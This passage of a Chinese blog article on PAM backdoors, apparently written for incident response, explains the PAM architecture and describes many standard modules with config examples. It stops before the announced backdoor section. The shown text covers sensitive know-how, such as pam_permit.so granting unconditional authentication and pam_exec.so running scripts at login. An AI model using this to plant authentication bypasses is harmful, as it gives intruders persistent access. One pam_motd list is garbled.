PAM 后门 | Linux 后门系列

0x01 简介

大家好,今天和大家讨论的是 PAM 后门,这种技术有一定的历史了,最近更新《Linux 应急响应手册》,打算将 PAM 后门排查加入其中,所以学习一下

学习如果制作 PAM 后门不会很难,但也意义不大,我更希望大家能够了解 PAM 为什么可以被用来做后门, PAM 这门技术本身解决了什么现实问题

微信公众号限制 5 万字,所以文章进行了部分删减,大家可以去文末获取完整的 PDF 版


文章整体结构如下


  • 0x01 简介

  • 0x02 PAM 的意义

  • 0x03 PAM 架构

  • 0x04 PAM 服务模块

    • 1. PAM 模块文件位置

    • 2. PAM 模块分类

    • 3. 模块具体功能

  • 0x05 PAM 配置文件

    • 1. PAM 配置文件的意义

    • 2. PAM 配置文件的位置

    • 3. PAM 配置文件语法

  • 0x06 程序如何使用 PAM

    • 1. 安装依赖

    • 2. 新建 PAM 配置文件

    • 3. 编写程序

    • 4. 编译执行

  • 0x07 PAM 后门

    • 1. 修改 PAM 使用者

    • 2. 修改 PAM 库本身

    • 3. 修改 PAM 模块

    • 4. 修改 PAM 配置文件

  • 0x08 PDF 版本下载

  • 往期文章

0x02 PAM 的意义

PAM 是 Pluggable Authentication Modules 的缩写,即可插拔的身份验证模块。我们在接触硬件时经常听到“可插拔”这个词,例如热插拔硬盘。这一术语的使用强调了认证模块的灵活性和可扩展性

身份认证的方式多种多样,例如密码、公私钥、LDAP、指纹、U盾等。对于应用程序开发者而言,支持多种认证方式意味着需要编写不同的认证代码。如果希望在使用过程中切换认证方式,就必须重新修改程序代码。PAM 的出现使这些认证方式标准化,提供了统一的接口来处理身份验证。应用程序只需与 PAM 进行交互,而无需关心底层的实现细节。例如,开发者可以轻松地在密码认证和指纹认证之间切换,而无需大幅修改代码

0x03 PAM 架构

https://docs.oracle.com/cd/E23824_01/html/819-2145/pam-01.html

PAM 后门 | Linux 后门系列
pam.overview.1
  • PAM 使用者
  • PAM 库
  • PAM 配置文件
  • PAM 服务模块,也称为提供程序

PAM 使用者很好理解,谁要用 PAM 进行认证谁就是 PAM 使用者

PAM 库是 PAM 于系统存在的形式,通过 PAM 库提供 API 供程序调用

pam.conf  是指配置文件,是表述 PAM 验证逻辑的核心内容

PAM 服务模块是 PAM 框架中负责处理具体身份验证任务的组件。它们被设计为可插拔的模块,允许系统根据需求灵活配置和扩展身份验证机制

0x04 PAM 服务模块

1. PAM 模块文件位置

PAM 服务模块文件的位置为

/usr/lib/x86_64-linux-gnu/security/pam_unix.so
PAM 后门 | Linux 后门系列

2. PAM 模块分类

PAM 模块主要分为四类

  • Authentication Modules
  • Account Modules
  • Session Modules
  • Password Modules

Authentication Modules

对用户进行身份验证并设置用户凭据,授予用户对帐户或服务的访问权限,如 pam_unix(传统密码验证)、pam_tally(账户锁定)等

Account Modules

用于确定当前用户的帐户是否有效及访问权限,提供此服务的模块可以检查密码或帐户过期以及时间限制访问,例如 pam_access(基于IP地址控制访问)和 pam_time(基于时间限制访问)

Session Modules

处理用户会话相关的任务,如 pam_limits(限制用户资源使用)和 pam_env(设置环境变量)

Password Modules

更新身份验证机制。通常,这些服务与认证组的服务是强耦合的。一些身份验证机制非常适合使用这样的功能进行更新。标准UN*X基于密码的访问就是一个明显的例子:请输入一个替换密码

3. 模块具体功能

如果我们的应用程序使用了某种身份验证方式,就需要在配置文件中指定对应的模块,那到底有哪些模块呢?默认都是什么功能,接下来我们以 Ubuntu Server 22.04 默认的模块为例来一一介绍

PAM 后门 | Linux 后门系列

pam_access.so

功能:此模块用于控制用户的访问权限,基于用户、主机和服务的配置来允许或拒绝访问

主要用途

  • 限制特定用户或用户组从特定主机访问系统
  • 保护系统安全,防止未授权访问

配置文件

通常在 /etc/security/access.conf 中进行配置。这个文件定义了可以或不可以访问的用户和主机

例如

# 允许用户 john 从任何主机访问
+ : john : ALL

# 拒绝所有其他用户
- : ALL : ALL
PAM 后门 | Linux 后门系列
PAM 后门 | Linux 后门系列

PAM 配置

在 PAM 的配置文件中,可以这样配置

auth required pam_access.so

处理流程

  1. 用户尝试登录:系统检查 PAM 配置
  2. 执行 pam_access.so
    • 根据 access.conf 的规则检查用户和主机
    • 如果匹配到允许规则,则允许访问
    • 如果匹配到拒绝规则,则拒绝访问

pam_cap.so

功能:模块用于管理进程的能力(capabilities),允许用户在不提升为超级用户的情况下,获得特定的权限

主要用途

  • 提供更细粒度的权限控制
  • 允许普通用户执行需要特权的操作,而无需完全提升到 root 权限

配置文件

具体的能力设置通常在 /etc/security/capability.conf 文件中进行设置,定义了每个用户或组所能获得的能力

# 允许用户 john 获取 CAP_NET_ADMIN 能力
cap_net_admin john
PAM 后门 | Linux 后门系列

https://manpages.ubuntu.com/manpages/focal/en/man5/capability.conf.5.html

PAM 配置

在 PAM 的配置文件中,可以这样配置

auth required pam_cap.so

处理流程

  1. 用户登录:系统在认证过程中加载 pam_cap.so

  2. 能力设置:

    • 根据配置,模块会调整用户进程的能力
    • 允许用户在其进程中使用特定的系统功能

pam_debug.so

功能:用于调试和诊断 PAM 配置。它可以记录 PAM 处理过程中的详细信息,帮助系统管理员分析问题

主要用途

  • 记录 PAM 模块的执行情况
  • 帮助排查登录和认证过程中的问题

配置位置

不需要额外的配置文件

使用示例

在 PAM 配置文件中可以这样使用:

auth required pam_debug.so

日志输出

  • pam_debug.so 会将调试信息输出到系统日志(通常是 /var/log/secure/var/log/auth.log),记录模块的调用情况和返回值

pam_deny.so

功能:用于拒绝所有访问请求。它是一个简单的拒绝机制,确保任何调用它的认证尝试都将失败

主要用途

  • 用于确保特定服务或用户不能访问系统
  • 常用于测试或临时禁用某些认证机制

配置位置

没有独立的配置文件

使用示例

在 PAM 配置文件中可以这样使用:

auth required pam_deny.so

处理流程

  1. 用户尝试登录:系统根据 PAM 配置进行认证
  2. 执行 pam_deny.so:无论用户的身份如何,都会拒绝访问

pam_echo.so

功能:用于在用户登录时输出自定义消息。它可以用于显示欢迎信息或重要提示

主要用途

  • 向用户显示消息,例如系统使用条款、欢迎信息或警告
  • 增强用户体验,通过提供信息

配置位置

没有独立的配置文件

使用示例

在 PAM 配置文件中可以这样使用:

auth required pam_echo.so "Welcome to the system!"

注意事项

  • 消息格式:消息可以是简单的文本,也可以包含其他信息
  • 输出位置:消息通常在用户登录时显示

pam_env.so

功能

pam_env.so 模块用于管理用户的环境变量。它可以根据配置文件设置、修改或删除环境变量,确保用户在登录时拥有正确的环境设置

主要用途

  • 在用户登录时自动设置特定环境变量
  • 确保用户会话中的环境一致性

配置文件

通常与 /etc/security/environment 文件结合使用,定义要设置的环境变量

Ubuntu Server 22.04 中默认没有这个配置文件

使用示例

在 PAM 配置文件中可以这样使用:

auth required pam_env.so

环境变量设置

/etc/security/environment 中,可以定义环境变量,例如:

PATH=/usr/local/bin:/usr/bin:/bin
LANG=en_US.UTF-8

处理流程

  1. 用户登录时:用户输入凭据
  2. 执行 pam_env.so:设置环境变量
  3. 认证过程
    • 如果认证成功,用户会话中将包含设置的环境变量
    • 如果认证失败,不会设置环境变量

pam_exec.so

功能

pam_exec.so 模块允许在 PAM 认证过程中执行外部命令或脚本。它可以用于自定义认证逻辑或执行特定操作

主要用途

  • 在认证过程中执行外部程序,以增强认证机制
  • 可用于检查用户状态、验证条件或记录日志

配置位置

没有自己的配置文件

使用示例

在 PAM 配置文件中可以这样使用:

auth required pam_exec.so /path/to/script.sh

参数

  • 命令路径:指定要执行的外部命令或脚本
  • 返回值:外部命令的返回值决定认证的成功与否。返回值为 0 表示成功,其他值表示失败

假设你有一个脚本 check_user.sh,用于根据用户名检查某些条件,并返回相应的状态

#!/bin/bash

#
 检查用户名是否为特定值
if [ "$1" == "admin" ]; then
    exit 0  # 返回 0 表示成功
else
    exit 1  # 返回 1 表示失败
fi

PAM 配置

在 PAM 配置文件中,你可以这样调用该脚本:

auth required pam_exec.so /path/to/check_user.sh %u

处理流程

  1. 用户尝试登录:系统根据 PAM 配置进行认证
  2. 调用脚本pam_exec.so 会执行 /path/to/check_user.sh,并传递当前用户名(%u
  3. 脚本返回值
    • 如果用户名是 admin,脚本返回 0,认证成功
    • 如果用户名是其他值,脚本返回 1,认证失败

注意事项

  • 确保外部命令的安全性,避免引入安全风险

  • 可能会影响认证速度,需谨慎使用

pam_extrausers.so

功能

这个模块与标准 Unix 认证模块 pam_unix.so  相似,只不过不再使用 /etc/passwd/etc/shadow,而是使用 /var/lib/extrausers/passwd/var/lib/extrausers/shadow

主要用途

  • 为系统提供从额外用户文件进行认证的能力
  • 适用于需要管理额外用户而不影响主用户数据库的场景

配置文件

  • 额外用户文件:通常指定一个文件(如 /var/lib/extrausers/*),该文件中包含额外的用户信息

使用示例

在 PAM 配置文件中,可以这样使用:

auth required pam_extrausers.so

处理流程

  1. 用户登录:系统在认证过程中检查 PAM 配置
  2. 调用 pam_extrausers.so:模块会查找额外用户数据库进行验证
  3. 认证结果:如果在额外用户文件中找到匹配的用户,则认证成功

更详细的内容查看

https://manpages.ubuntu.com/manpages/bionic/man8/pam_extrausers.8.html#module%20types%20provided

pam_faildelay.so

功能

pam_faildelay.so 模块用于设置失败认证尝试后的延迟时间。它可以增加安全性,防止暴力破解攻击

主要用途

  • 在用户认证失败后引入延迟,减缓攻击者尝试密码的速度

配置位置

没有独立的配置文件

使用示例

在 PAM 配置文件中,可以这样使用:

auth required pam_faildelay.so delay=5000000

参数说明

  • delay:指定延迟时间,以微秒为单位。例如,delay=5000000 表示认证失败后延迟 5 秒

处理流程

  1. 用户尝试登录:系统根据 PAM 配置进行认证
  2. 认证失败:如果认证失败,pam_faildelay.so 将根据指定的延迟时间引入延迟
  3. 用户体验:用户在失败后需要等待指定时间,降低暴力破解的效率

pam_faillock.so

功能

pam_faillock.so 模块用于管理用户认证失败的锁定机制,防止暴力破解攻击。它可以在多次认证失败后锁定用户账户

主要用途

  • 记录用户的认证失败次数
  • 在达到设定的失败次数后,临时锁定用户账户

配置位置

配置文件位于 /etc/security/faillock.conf

PAM 后门 | Linux 后门系列

使用示例

在 PAM 配置文件中,可以这样使用:

auth required pam_faillock.so preauth
auth [default=die] pam_faillock.so authfail

参数说明

  • preauth:在用户进行认证之前调用,记录失败尝试
  • authfail:在认证失败时调用,增加失败计数

处理流程

  1. 用户尝试登录:系统根据 PAM 配置进行认证
  2. 记录失败:如果认证失败,模块记录失败次数
  3. 锁定账户:如果失败次数达到限制,账户将被锁定指定时间

pam_filter.so

功能

该模块旨在成为一个平台,用于提供对用户和应用程序之间传递的所有输入/输出的访问。它只是 适用于基于 TTY 和 (STDIN/STDOUT) 的应用

主要用途

  • 实现用户输入的验证和过滤
  • 根据特定条件决定是否允许用户通过认证

配置位置

通常,pam_filter.so 会指向一个具体的规则文件,例如 /etc/security/filter.conf。在这个文件中,你可以定义输入和输出的过滤规则

# 过滤规则示例
# 阻止特定字符
deny: .*password.*
deny: .*secret.*

使用示例

在 PAM 配置文件中,可以这样使用:

session required pam_filter.so run1 /lib/security/pam_filter/upperLOWER

参数说明

  • 过滤条件:可以根据需要设置不同的过滤规则,具体语法和选项会根据实现和需求而异

处理流程

  1. 用户尝试登录:系统根据 PAM 配置进行认证
  2. 执行过滤pam_filter.so 会检查输入,应用定义的过滤规则
  3. 认证结果:根据过滤结果决定是否允许用户通过认证

pam_ftp.so

功能

pam_ftp.so 模块用于支持 FTP 服务的用户认证,通常与 FTP 服务器一起使用

主要用途

  • 允许通过 PAM 机制对 FTP 用户进行认证,确保安全性

配置位置

无独立的配置文件

使用示例

在 PAM 配置文件中,可以这样使用:

auth required pam_ftp.so

处理流程

  1. 用户尝试通过 FTP 登录:系统根据 PAM 配置进行认证
  2. 调用 pam_ftp.so:此模块会检查用户的凭证
  3. 认证结果:根据用户的凭证,决定是否允许用户访问 FTP 服务

这个模块用户认证使用的就是系统默认的认证文件,即 /etc/passwd 以及 /etc/shadow

pam_group.so

功能pam_group.so 模块用于根据用户的组信息控制访问权限

主要用途实现基于组的访问控制,仅允许特定用户组的成员进行认证

配置位置通常在 PAM 配置文件中进行设置,位于 /etc/pam.d/ 目录下的相关文件。它也可以使用 /etc/security/group.conf 进行更细致的配置

PAM 后门 | Linux 后门系列

具体配置方法参见

https://linux.die.net/man/5/group.conf

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_group.so

参数说明

  • group:指定允许认证的用户组,例如 ftpusers

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_group.so,检查用户是否属于指定的组
  3. 如果用户是指定组的成员,认证成功;如果不是,认证失败

https://linux.die.net/man/8/pam_group

pam_issue.so

功能pam_issue.so 模块用于在用户登录时显示一条消息或欢迎信息

主要用途提供登录提示或警告信息,通常用于通知用户相关政策或使用条款

配置位置无独立配置文件,在使用过程中指定显示的信息

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_issue.so issue=/etc/issue

参数说明

  • issue:指定要显示的消息文件路径,例如 /etc/issue

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_issue.so,读取并显示指定的消息文件内容
  3. 用户在看到消息后继续完成登录过程

pam_keyinit.so

功能pam_keyinit.so 模块用于在用户登录时初始化用户的密钥环(keyring),确保用户的密钥管理安全

主要用途在用户会话开始时,自动创建或打开一个密钥环,便于管理加密密钥和其他敏感数据

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_keyinit.so force revoke

参数说明

  • force:强制创建一个新的会话密钥环,即使已经存在一个
  • revoke:表示在用户会话结束时撤销当前密钥环中的密钥

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_keyinit.so,初始化或打开用户的密钥环
  3. 在用户会话结束时,撤销密钥环以确保安全

pam_lastlog.so

功能pam_lastlog.so 模块用于在用户登录时显示上次登录的信息,并更新上次登录的时间记录

主要用途在用户成功登录后,显示上次登录的时间、终端和主机信息,帮助用户了解其账户的使用情况

配置位置通常在 PAM 配置文件中进行设置,位于 /etc/pam.d/ 目录下的相关文件

使用示例在 PAM 配置文件中,可以这样使用:

session optional pam_lastlog.so showfailed

参数说明

  • showfailed:显示上次登录失败的次数

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_lastlog.so,显示上次登录的时间、终端和主机信息
  3. 更新用户的上次登录时间记录,以备下次登录时显示

参考

https://manpages.debian.org/testing/libpam-modules/pam_lastlog.8.en.html

pam_limits.so

功能pam_limits.so 模块用于设置用户和系统的资源限制,确保系统资源得到合理分配和使用

主要用途在用户会话开始时,根据配置文件中的设置应用资源限制,控制用户进程可以使用的资源量

配置位置具体的资源限制配置文件是 /etc/security/limits.conf

PAM 后门 | Linux 后门系列

配置文件 /etc/security/limits.conf 语法

该配置文件用于定义用户或组的资源限制,语法如下:

<domain> <type> <item> <value>
  • domain:指定用户、组或所有用户。可以是用户名、@组名或通配符 *
  • type:限制类型,可以是 soft(软限制)或 hard(硬限制)。软限制可以被用户增加到硬限制范围内,硬限制是系统允许的最大值
  • item:要限制的资源项,例如 core(核心转储大小)、data(数据段大小)、nofile(打开文件的最大数)、rss(驻留集大小)等
  • value:限制的具体值,可以是数字或 unlimited(无限制)

配置示例

# 限制用户 alice 的最大打开文件数为 1000,最大可用内存为 512 MB
alice hard nofile 1000
alice soft rss 524288

# 对于组 admin,限制最大进程数为 50
@admin hard nproc 50

# 对于所有用户,限制核心转储大小为 0(即禁止生成核心转储文件)
* hard core 0

在这个示例中:

  • 用户 alice 不能打开超过 1000 个文件,并且软限制其驻留集大小(内存使用)为 512 MB
  • admin 的成员不能创建超过 50 个进程
  • 所有用户的核心转储文件大小被限制为 0

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_limits.so

参数说明

  • 无额外参数pam_limits.so 模块通常不需要额外参数,直接读取 /etc/security/limits.conf 文件中的配置

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_limits.so,读取并应用 /etc/security/limits.conf 文件中的资源限制设置
  3. 在用户会话期间,根据设置限制用户进程使用的资源,如内存、CPU 时间、文件句柄数量等

pam_listfile.so

功能pam_listfile.so 模块用于基于文件列表进行用户认证控制,可以通过文件列出允许或拒绝访问的用户列表

主要用途在用户认证过程中,根据指定文件中的用户名、组名、主机名等信息,允许或拒绝用户访问系统

配置位置无独立配置文件,在配置时指定

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_listfile.so onerr=fail item=user sense=allow file=/etc/security/allowed_users

参数说明

  • onerr=fail:在遇到错误时拒绝访问
  • item=user:指定检查的项目为用户名
  • sense=allow:匹配文件中的用户将被允许访问,未匹配的用户将被拒绝
  • file=/etc/security/allowed_users:指定包含用户列表的文件路径

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_listfile.so,读取指定文件中的用户列表
  3. 根据配置参数,决定是否允许用户访问系统

配置文件语法

配置文件通常是一个简单的文本文件,每行列出一个用户名、组名或其他项目,具体取决于 item 参数的设置

配置示例

假设文件 /etc/security/allowed_users 包含以下内容:

alice
bob
charlie

在 PAM 配置文件中,可以这样使用:

auth required pam_listfile.so onerr=fail item=user sense=allow file=/etc/security/allowed_users

在这个示例中:

  • 如果用户 alicebobcharlie 尝试登录,他们将被允许访问系统
  • 其他用户将被拒绝访问

另一个示例,如果要拒绝某些用户访问,可以这样设置:

auth required pam_listfile.so onerr=fail item=user sense=deny file=/etc/security/denied_users

假设文件 /etc/security/denied_users 包含以下内容:

dave
eve

在这个示例中:

  • 如果用户 daveeve 尝试登录,他们将被拒绝访问系统
  • 其他用户将被允许访问

pam_localuser.so

功能pam_localuser.so 模块用于确保用户是本地用户,即用户必须在本地 /etc/passwd 文件中定

主要用途在用户认证过程中,验证用户是否为本地定义的用户,防止非本地用户(如 NIS、LDAP 用户)访问系统

配置位置没有独立的配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_localuser.so

参数说明

  • 无额外参数pam_localuser.so 模块通常不需要额外参数,直接检查用户是否在本地 /etc/passwd 文件中定义

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_localuser.so,检查用户是否在本地 /etc/passwd 文件中定义
  3. 如果用户是本地用户,则允许继续认证过程,否则拒绝访问

pam_loginuid.so

功能pam_loginuid.so 模块用于在用户登录时设置登录 UID(Login UID),这有助于审计和安全管理

主要用途在用户会话开始时,设置登录 UID 以便系统可以跟踪用户的活动,确保所有用户操作都可以追溯到登录用户

配置位置无独立的配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_loginuid.so

参数说明

  • 无额外参数pam_loginuid.so 模块通常不需要额外参数,直接设置登录 UID

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_loginuid.so,为用户会话设置登录 UID
  3. 登录 UID 被设置后,系统可以审计和跟踪该用户会话中的所有活动

pam_mail.so

功能pam_mail.so 模块用于在用户登录时通知用户是否有新邮件

主要用途在用户成功登录后,检查用户的邮件目录并通知用户是否有新邮件,以便用户及时处理邮件

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session optional pam_mail.so standard noenv

参数说明

  • standard:使用标准消息格式通知用户邮件状态
  • noenv:不设置 MAIL 环境变量

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_mail.so,检查用户的邮件目录
  3. 如果用户有新邮件,显示一条通知消息
  4. 根据配置决定是否设置 MAIL 环境变量

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth       required     pam_securetty.so
auth       requisite    pam_nologin.so
auth       include      system-auth
account    required     pam_access.so
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    optional     pam_mail.so standard noenv
session    required     pam_limits.so
session    include      system-auth

在这个示例中:

  • pam_mail.so 模块被配置为在每个登录会话开始时检查用户的邮件目录,并使用标准消息格式通知用户是否有新邮件,同时不设置 MAIL 环境变量

参数详细说明

  • dir=:指定邮件目录路径,默认为 /var/mail
  • empty:通知用户即使没有新邮件
  • nopen:不检查新邮件
  • quiet:如果没有新邮件或目录不存在,则不显示任何消息
  • file=:指定特定的邮件文件,而不是默认的邮件目录
  • prefix=

    :在邮件通知消息前添加自定义前缀
  • suffix=:在邮件通知消息后添加自定义后缀
  • env=:设置自定义环境变量,而不是默认的 MAIL

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_mail.so,检查 /var/mail/alice 文件
  3. 如果 alice 有新邮件,系统显示类似于 “You have new mail.” 的消息
  4. 根据配置,如果没有设置 noenv 参数,系统会设置 MAIL 环境变量为 `/var/mail/alice

pam_mkhomedir.so

功能pam_mkhomedir.so 模块用于在用户首次登录时自动创建用户的主目录

主要用途当用户首次登录系统时,如果用户的主目录不存在,pam_mkhomedir.so 模块会自动创建该主目录,并设置相应的权限

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_mkhomedir.so skel=/etc/skel/ umask=0022

参数说明

  • skel=/etc/skel/:指定用作模板的目录,默认是 /etc/skel/
  • umask=0022:指定创建目录时使用的权限掩码

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_mkhomedir.so,检查用户的主目录是否存在
  3. 如果主目录不存在,使用 /etc/skel/ 目录中的文件和目录作为模板,创建用户的主目录
  4. 设置主目录的权限,使用指定的 umask

pam_motd.so

功能pam_motd.so 模块用于在用户登录时显示“消息(Message of the Day,MOTD)”文件的内容

主要用途在用户成功登录后,显示系统管理员设置的消息或通知,以便向用户传达系统相关的信息或公告

配置位置默认的消息文件路径是 /etc/motd,这个在之前 motd 后门的文章中已经讲过了

使用示例在 PAM 配置文件中,可以这样使用:

session optional pam_motd.so motd=/etc/motd

参数说明

  • motd=:指定 MOTD 文件的路径,默认为 /etc/motd
  • noupdate:不更新 /var/run/motd 文件

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_motd.so,读取指定的 MOTD 文件
  3. 显示文件内容,向用户传达系统消息或公告
  4. 录,系统根据 PAM 配置进行认证

  5. 调用 pam_motd.so,读取 /etc/motd 文件

  6. 显示 /etc/motd 文件内容,例如:

    Welcome to our system!
    Please report any issues to the system administrator.
  7. 用户 alice 看到上述消息后,可以继续进行其他操作

pam_namespace.so

功能pam_namespace.so 模块用于在用户会话期间为用户创建和管理命名空间,以实现资源隔离和增强安全性

主要用途在用户会话开始时,根据配置文件设置用户的命名空间,使用户的进程在隔离的环境中运行。这有助于增强系统的安全性和资源管理

配置位置命名空间配置文件路径可以在 /etc/security/namespace.conf 以及 /etc/security/namespace.d/*中指定

PAM 后门 | Linux 后门系列

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_namespace.so

参数说明

  • unmnt_remount:在会话结束时卸载并重新挂载
  • conf=:指定命名空间配置文件路径,默认是 /etc/security/namespace.conf

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_namespace.so,读取命名空间配置文件,设置用户的命名空间
  3. 用户的进程在隔离的命名空间中运行,确保资源和安全隔离
  4. 在用户会话结束时,根据配置卸载命名空间

pam_nologin.so

功能pam_nologin.so 模块用于在系统维护或其他特殊情况下禁止用户登录

主要用途在系统维护或其他需要限制用户登录的情况下,通过检查 /etc/nologin 文件的存在,防止非特权用户登录系统

配置位置

/etc/nologin

Ubuntu Server 22.04 中默认不存在

使用示例在 PAM 配置文件中,可以这样使用:

auth requisite pam_nologin.so

参数说明

  • 无额外参数pam_nologin.so 模块通常不需要额外参数,直接检查 /etc/nologin 文件的存在

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_nologin.so,检查 /etc/nologin 文件是否存在
  3. 如果文件存在,禁止非特权用户登录,并显示文件中的消息
  4. 如果文件不存在,允许用户继续进行认证过程

pam_permit.so

功能pam_permit.so 模块用于无条件地允许用户通过认证,有点像 True 的意思

主要用途通常用于调试或在某些特殊情况下作为占位符,确保 PAM 堆栈的某些部分总是成功通过认证

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_permit.so

参数说明

  • 无额外参数pam_permit.so 模块不需要额外参数,直接无条件地允许用户通过认证

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_permit.so,无条件地允许用户通过当前认证阶段
  3. 用户继续进行下一个认证阶段或完成登录

配置示例

假设在 /etc/pam.d/common-auth 文件中进行配置:

# /etc/pam.d/common-auth

# 其他 PAM 模块配置
auth       required     pam_env.so
auth       required     pam_faildelay.so delay=2000000
auth       required     pam_unix.so
auth       optional     pam_permit.so

在这个示例中:

  • pam_permit.so 模块被配置为在认证阶段无条件地允许用户通过,这种配置仅用于占位或调试目的

参数详细说明

  • 无额外参数pam_permit.so 模块不需要任何额外参数,作用是无条件地通过认证

使用注意

由于 pam_permit.so 模块无条件地允许通过认证,因此应谨慎使用,特别是在生产环境中。它通常用于以下几种场景:

  1. 调试:在调试 PAM 堆栈配置时,确保某个阶段总是成功通过
  2. 占位符:用作临时占位符,以防止配置文件格式错误,但应在正式配置完成后移除或替换为适当的模块

示例使用场景

  1. 调试配置

    在调试 PAM 配置时,临时使用 pam_permit.so 模块确保某个阶段总是成功通过:

    auth required pam_permit.so
  2. 防止配置错误

    在某些情况下,可以使用 pam_permit.so 作为占位符,确保配置文件格式正确。例如:

    account required pam_permit.so

pam_pwhistory.so

功能pam_pwhistory.so 模块用于记录用户之前使用的密码,并在用户尝试更改密码时检查新密码是否与之前的密码重复

主要用途通过禁止用户重复使用旧密码来增强密码安全性,防止用户在短时间内循环使用密码

配置位置通常在 PAM 配置文件中的密码管理阶段(password)进行设置,位于 /etc/pam.d/ 目录下的相关文件

使用示例在 PAM 配置文件中,可以这样使用:

password required pam_pwhistory.so use_authtok remember=5 enforce_for_root

参数说明

  • use_authtok:使用前一个模块设置的密码令牌
  • remember=N:记住最近使用的 N 个密码,默认是 0
  • enforce_for_root:对 root 用户强制执行密码历史检查
  • debug:启用调试信息输出

处理流程

  1. 用户尝试更改密码,系统根据 PAM 配置进行认证
  2. 调用 pam_pwhistory.so,检查新密码是否与最近使用的 N 个密码重复
  3. 如果新密码与历史密码重复,拒绝更改密码并提示用户选择不同的新密码
  4. 如果新密码未与历史密码重复,更新密码并记录新密码

配置示例

假设在 /etc/pam.d/common-password 文件中进行配置:

# /etc/pam.d/common-password

# 其他 PAM 模块配置
password required pam_unix.so
password required pam_pwhistory.so use_authtok remember=5 enforce_for_root

在这个示例中:

  • pam_pwhistory.so 模块被配置为在更改密码时检查用户最近使用的 5 个密码,并对 root 用户强制执行密码历史检查

参数详细说明

  • use_authtok:使用前一个 PAM 模块设置的密码令牌,而不是从用户输入中获取新密码
  • remember=N:指定要记住的旧密码数量。如果用户尝试使用最近 N 个密码之一,将被拒绝
  • enforce_for_root:对 root 用户也强制执行密码历史检查
  • debug:启用调试模式,输出调试信息到系统日志

使用注意

  • 密码存储:旧密码的哈希值会存储在 /etc/security/opasswd 文件中,这个文件必须受到严格保护,确保只有 root 用户可以访问
  • 模块顺序:确保 pam_pwhistory.so 模块放置在正确的顺序中,通常在 pam_unix.so 之后
  • 系统兼容性:确保系统 PAM 库版本支持 pam_pwhistory.so 模块

示例使用场景

  1. 增强密码安全性

    通过配置 pam_pwhistory.so 模块,防止用户重复使用旧密码,增强密码安全性:

    password required pam_pwhistory.so use_authtok remember=10 enforce_for_root
  2. 调试配置

    在调试 PAM 配置时,启用调试信息以便排查问题:

    password required pam_pwhistory.so use_authtok remember=10 enforce_for_root debug

pam_rhosts.so

功能pam_rhosts.so 模块用于通过检查用户的 .rhosts 文件来提供基于主机的认证,这通常用于 rloginrsh 等远程登录服务

主要用途基于主机和用户的组合进行认证,从而允许或拒绝远程登录请求。这个模块读取用户的 .rhosts 文件,并根据文件内容决定是否允许远程登录

配置位置

~/.rhosts

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_rhosts.so

参数说明

  • 无额外参数pam_rhosts.so 模块不需要额外参数,直接读取用户的 .rhosts 文件进行认证

处理流程

  1. 用户尝试通过 rloginrsh 等服务登录,系统根据 PAM 配置进行认证
  2. 调用 pam_rhosts.so,读取用户主目录中的 .rhosts 文件
  3. 如果 .rhosts 文件中列出了允许的主机和用户组合,则允许登录;否则拒绝登录

配置示例

假设在 /etc/pam.d/rlogin 文件中进行配置:

# /etc/pam.d/rlogin

# 其他 PAM 模块配置
auth required pam_nologin.so
auth required pam_env.so
auth sufficient pam_rhosts.so
auth required pam_unix.so
account required pam_unix.so
session required pam_unix.so

在这个示例中:

  • pam_rhosts.so 模块被配置为在 rlogin 服务的认证阶段读取用户的 .rhosts 文件进行基于主机的认证

参数详细说明

  • 无额外参数pam_rhosts.so 模块不需要任何额外参数,作用是读取用户的 .rhosts 文件并根据内容决定是否允许登录

使用注意

  • 安全性:由于 .rhosts 文件的基于主机的认证方式相对不安全(容易被网络嗅探和伪造),建议仅在受信任的网络环境中使用,并尽量避免使用此认证方式
  • 文件权限:确保 .rhosts 文件的权限设置正确,通常应设置为仅用户自己可以读写(600 权限)
  • 模块顺序:在 PAM 配置文件中,确保 pam_rhosts.so 模块的顺序正确,通常放置在其他认证模块之前

示例使用场景

  1. 允许特定主机的用户登录

    配置用户的 .rhosts 文件,允许特定主机上的用户登录:

    # ~/.rhosts

    trusted_host1 user1
    trusted_host2 user2
  2. 限制不受信任的主机

    确保 .rhosts 文件中没有列出不受信任的主机,防止不安全的远程登录

pam_rootok.so

功能pam_rootok.so 模块用于无条件地允许 root 用户通过认证

主要用途当需要允许 root 用户无条件通过某些认证步骤时使用。例如,在使用 sudo 或某些管理工具时,确保 root 用户可以直接通过认证

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth sufficient pam_rootok.so

参数说明

